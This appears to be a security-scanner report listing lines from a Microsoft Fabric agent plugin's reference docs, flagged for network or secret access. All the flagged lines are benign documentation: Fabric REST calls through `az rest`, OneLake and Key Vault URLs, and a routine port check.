    | Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md#job-execution) || | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control
  • Network accessline 85
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 87
    | Gotchas & Troubleshooting (CLI-Specific) | [COMMON-CLI.md § Gotchas & Troubleshooting (CLI-Specific)](../../../common/COMMON-CLI.md#gotchas--troubleshooting-cli-specific) | `az rest` audience, shell escaping, token expiry | | Quick Refere
  • Network accessline 89
    | MLV Public API Reference | [MS Learn: Manage Fabric materialized lake views with public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api) | Official documentation f
  • Network accessline 127
    **Base URL**: `https://api.fabric.microsoft.com/v1`
  • Network accessline 158
    **See**: [MS Learn: MLV Background Jobs](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule)
  • Network accessline 166
    The [Preview REST scheduler](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule#limitations) supports refresh schedules at lakehouse scope. A lakehouse can have at mos
  • Network accessline 366
    Location: https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{lakehouseId}/jobs/instances/{jobInstanceId}
  • Network accessline 542
    az rest --resource https://api.fabric.microsoft.com \
  • Network accessline 543
    --url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses" \
  • Network accessline 567
    # See COMMON-CLI.md for authentication setup az rest --resource https://api.fabric.microsoft.com \
  • Network accessline 568
    az rest --resource https://api.fabric.microsoft.com \
  • Network accessline 569
    --url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses/{lakehouseId}/jobs/refreshMaterializedLakeViews/instances" \
  • Network accessline 588
    Valid time zones: Windows time zone names (e.g., `"Central Standard Time"`, `"Pacific Standard Time"`, `"India Standard Time"`). Use the [Windows Default Time Zones](https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/def

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations.md

  • Network accessline 32
    | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b
  • Network accessline 33
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 34
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/automated-diagnostic-workflow.md

  • Network accessline 107
    https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related
  • Network accessline 228
    ### Links - **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related`
  • Network accessline 229
    - **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related`
  • Network accessline 230
    - **Spark Monitor**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}`

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/diagnostic-workflow.md

  • Network accessline 96
    Copies the full Spark event log from Fabric to a OneLake lakehouse via the [JobInsight API](jobinsight-api.md), downloads it locally, and starts the OSS Spark History Server on `http://localhost:18080` for the full Spark UI (DAG, task-level
  • Network accessline 109
    2. Download event files from OneLake DFS to local disk 3. Start local Spark History Server — see [spark-history-server.md](spark-history-server.md) 4. Open browser to `http://localhost:18080` for the full Spark UI
  • Network accessline 111
    4. Open browser to `http://localhost:18080` for the full Spark UI

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/jobinsight-api.md

  • Network accessline 134
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 135
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspaceId/items/$notebookId/jobs/RunNotebook/instances" \
  • Network accessline 147
    [Credential-related source omitted]
  • Network accessline 148
    [Credential-related source omitted]
  • Network accessline 150
    [Credential-related source omitted]
  • Network accessline 151
    [Credential-related source omitted]
  • Network accessline 152
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" \
  • Network accessline 159
    [Credential-related source omitted]
  • Network accessline 160
    [Credential-related source omitted]
  • Network accessline 161
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/<filepath>" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/pipeline-diagnosis.md

  • Network accessline 30
    **API endpoint** ([docs](https://learn.microsoft.com/en-us/fabric/data-factory/pipeline-rest-api)):
  • Network accessline 41
    # BROKEN: PowerShell treats & as call operator az rest --url "https://...?type=driver&fileName=stderr"
  • Network accessline 42
    az rest --url "https://...?type=driver&fileName=stderr"
  • Network accessline 221
    File "Cell In[14], line 19"       raise Exception(f"Expected key '{key}' not found in URL: {url}") Exception: Expected key 'cluster_id' not found in URL: https://...
  • Network accessline 223
    Exception: Expected key 'cluster_id' not found in URL: https://...
  • Network accessline 236
    https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related
  • Network accessline 353
    **Spark Jobs**: 13/13 SUCCEEDED — failure is in Python code, not Spark infrastructure **Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch
  • Network accessline 354
    **Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch_key=...` **Root Cause**: Notebook business logic expects a key in the URL that is mis
  • Network accessline 355
    **Sample failing parameters**: `cluster_url=https://...`, `batch_key=...`

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/spark-history-server.md

  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 117
    [Credential-related source omitted]
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 120
    [Credential-related source omitted]
  • Network accessline 121
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" | jq '.paths[].name'
  • Network accessline 123
    [Credential-related source omitted]
  • Network accessline 124
    [Credential-related source omitted]
  • Network accessline 125
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId/<filename>" \
  • Network accessline 146
    Navigate to `http://localhost:18080`. The application should appear in the list. Click through to:

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/consumption.md

  • Network accessline 158
    | `Login failed for user` | Wrong DB name or no access | Verify `-d` matches the REST `properties.databaseName` value (see COMMON-CLI.md "Discovering Connection Parameters via REST"), and that you have permission | | `Cannot open server` | 
  • Network accessline 159
    | `Cannot open server` | Wrong FQDN or network | Re-discover via REST API; check port 1433 | | `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN | | `ActiveDirectoryDefa
  • Network accessline 160
    | `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN |
  • Network accessline 162
    | Cross-database query fails | Using OLTP endpoint | Switch to SQL analytics endpoint for three-part naming | | Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_fee
  • Network accessline 163
    | Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_feed_log_scan_sessions` | | Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has
  • Network accessline 164
    | Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has unsupported PK type, or uses CCI/in-memory/Always Encrypted | Check `sys.dm_change_feed_errors`; see [mirroring limitations](https://learn.microsoft.com

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/operations.md

  • Network accessline 36
    Use an already-installed `sqlcmd` first and make at most one connection attempt with it. If it is absent or its Entra authentication mode fails, do not install or upgrade tooling during the investigation. When the current PowerShell runtime

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring.md

  • Network accessline 88
    > 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use
  • Network accessline 89
    > 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/). >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` >    - **Item-scoped
  • Network accessline 90
    >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint`
  • Network accessline 91
    >    - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint`
  • Network accessline 151
    > **`MERGE` and `ALTER COLUMN` are NOT hard errors.** Per [T-SQL surface area](https://learn.microsoft.com/en-us/fabric/data-warehouse/tsql-surface-area), `MERGE` is a **generally available** Warehouse feature and `ALTER TABLE ... ALTER COL
  • Network accessline 181
    # 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 182
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 183
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 184
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 188
    # 2. Find warehouse item ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 189
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 190
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 191
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 194
    # For a Lakehouse SQL endpoint, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 195
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 196
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 197
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-cli-quickref.md

  • Network accessline 92
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 93
    "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'    WITH (FILE_TYPE = 'PARQUET')")
  • Network accessline 94
    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 98
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 99
    "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv'    WITH (FILE_TYPE = 'CSV', FIRSTROW = 2, FIELDTERMINATOR = ',', ROWTERMINATOR = '\n')")
  • Network accessline 100
    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 105
    "CREATE TABLE dbo.CleanData AS    SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount    FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw
  • Network accessline 106
    SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount    FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw    WHERE amount > 0")
  • Network accessline 107
    FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-script-templates.md

  • Network accessline 9
    **Placeholders:** The storage URLs (`https://storageacct.dfs.core.windows.net/...`), dates
  • Network accessline 23
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.StagingData    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 24
    "COPY INTO dbo.StagingData    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'    WITH (FILE_TYPE = 'PARQUET')")
  • Network accessline 25
    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 44
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.Staging_RawSales    FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 45
    "COPY INTO dbo.Staging_RawSales    FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'    WITH (FILE_TYPE = 'PARQUET')")
  • Network accessline 46
    FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption.md

  • Network accessline 77
    > 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use
  • Network accessline 78
    > 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/) for registration instructions. >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sql
  • Network accessline 79
    >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint`
  • Network accessline 80
    >    - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint`
  • Network accessline 130
    # 1. Find workspace ID by name (capture into WS_ID for the next calls) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 132
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 133
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 137
    # 2. Find warehouse item ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 138
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 139
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 142
    # For a Lakehouse, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 143
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 144
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 145
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 237
    | Symptom | Cause | Fix | |---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config |
  • Network accessline 238
    |---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config | | HTTP 401 / Unauthorized | Auth token expired or invalid | Re-authenticate
  • Network accessline 239
    | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption/script-templates.md

  • Network accessline 111
    # Find workspace ID (capture into WS_ID for the next call) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 112
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 113
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 114
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 118
    # Find warehouse ID az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/operations.md

  • Network accessline 75
    > 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use
  • Network accessline 76
    > 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` >    - **Item-scoped URL**: `https://api.fabric.microsoft.c
  • Network accessline 77
    >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint`
  • Network accessline 78
    >    - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint`
  • Network accessline 110
    # 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 111
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 112
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 113
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 117
    # 2. Find warehouse item ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 118
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 119
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 152
    - CPU > 5,000,000 ms → review query logic - Elapsed > 300,000 ms → check joins, filters, statistics - Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance)
  • Network accessline 154
    - Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance)
  • Network accessline 280
    For comprehensive Fabric DW best practices, see [SQLDW-CONSUMPTION-CORE.md § Performance: Best Practices and Troubleshooting](../../../common/SQLDW-CONSUMPTION-CORE.md#performance-best-practices-and-troubleshooting) and the [Fabric guidelin

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/SKILL.md

  • Network accessline 95
    | Target | Token Audience | |---|---| | Synapse ARM (management plane) | `https://management.azure.com` |
  • Network accessline 96
    |---|---| | Synapse ARM (management plane) | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 97
    | Synapse ARM (management plane) | `https://management.azure.com` |
  • Network accessline 98
    | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 99
    | Fabric REST API | `https://api.fabric.microsoft.com` |
  • Network accessline 124
    | Target | Token Audience | |---|---| | Synapse ARM | `https://management.azure.com` |
  • Network accessline 125
    |---|---| | Synapse ARM | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 126
    | Synapse ARM | `https://management.azure.com` |
  • Network accessline 127
    | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 128
    | Fabric REST API | `https://api.fabric.microsoft.com` |
  • Network accessline 130
    > **API docs**: [Synapse ARM](https://learn.microsoft.com/en-us/rest/api/synapse) · [Synapse Data Plane](https://learn.microsoft.com/en-us/rest/api/synapse/data-plane) · [Fabric Items](https://learn.microsoft.com/en-us/rest/api/fabric/core/
  • Network accessline 225
    # Fabric conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret")
  • Network accessline 226
    conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret")

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/code-patterns.md

  • Network accessline 70
    [Credential-related source omitted]
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    "https://mykeyvault.vault.azure.net/",
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 163
    -- AFTER — Fabric Warehouse: COPY INTO from OneLake COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/'
  • Network accessline 164
    COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/' WITH (
  • Network accessline 165
    FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/'

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connectivity-migration.md

  • Network accessline 38
    [Credential-related source omitted]
  • Network accessline 40
    [Credential-related source omitted]
  • Network accessline 42
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \
  • Network accessline 43
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \
  • Network accessline 108
    [Credential-related source omitted]
  • Network accessline 109
    [Credential-related source omitted]
  • Network accessline 110
    "https://mykeyvault.vault.azure.net/",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connector-refactoring.md

  • Network accessline 18
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 19
    .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")     .option("kustoDatabase", "mydb")
  • Network accessline 20
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 26
    kustoDF = (spark.read     .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 27
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 28
    .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 29
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 40
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 41
    .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")     .option("kustoDatabase", "mydb")
  • Network accessline 42
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 50
    (df.write     .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 51
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 52
    .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 53
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 83
    # ✅ AFTER — Fabric: Cosmos DB via Key Vault secret cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 84
    cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key" )
  • Network accessline 85
    "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 88
    cosmosDF = (spark.read     .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 89
    .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")     .option("spark.cosmos.accountKey", cosmos_key)
  • Network accessline 90
    .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 110
    # ✅ AFTER — Fabric cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 111
    cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key" )
  • Network accessline 112
    "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 115
    (df.write     .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 116
    .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")     .option("spark.cosmos.accountKey", cosmos_key)
  • Network accessline 117
    .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 148
    # ✅ AFTER — Fabric: Spark config with direct credentials cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 149
    cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key" )
  • Network accessline 150
    "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 151
    ) spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") spark.conf.set("spark.cosmos.accountKey", cosmos_key)
  • Network accessline 152
    spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 180
    # ✅ AFTER — Fabric: OAuth via standard ClientCredsTokenProvider storage_account = "mystorageaccount" client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 181
    [Credential-related source omitted]
  • Network accessline 182
    client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 183
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 184
    tenant_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id")
  • Network accessline 190
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Network accessline 192
    f"https://login.microsoftonline.com/{tenant_id}/oauth2/token")
  • Network accessline 209
    // ✅ AFTER — Fabric (Scala): standard OAuth val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 210
    val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", 
  • Network accessline 211
    val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 212
    val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-secret")
  • Network accessline 213
    val tenantId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id")
  • Network accessline 219
    spark.conf.set(s"fs.azure.account.oauth2.client.secret.${storageAccount}.dfs.core.windows.net", clientSecret) spark.conf.set(s"fs.azure.account.oauth2.client.endpoint.${storageAccount}.dfs.core.windows.net",   s"https://login.microsoftonlin
  • Network accessline 221
    s"https://login.microsoftonline.com/${tenantId}/oauth2/token")
  • Network accessline 244
    [Credential-related source omitted]
  • Network accessline 245
    [Credential-related source omitted]
  • Network accessline 247
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 260
    val accountName = "mystorageaccount"  // or read from notebook parameters // If dynamic, store in Key Vault: // val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name")
  • Network accessline 262
    // val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name")
  • Network accessline 273
    [Credential-related source omitted]
  • Network accessline 274
    [Credential-related source omitted]
  • Network accessline 275
    "https://mykeyvault.vault.azure.net/",
  • Network accessline 297
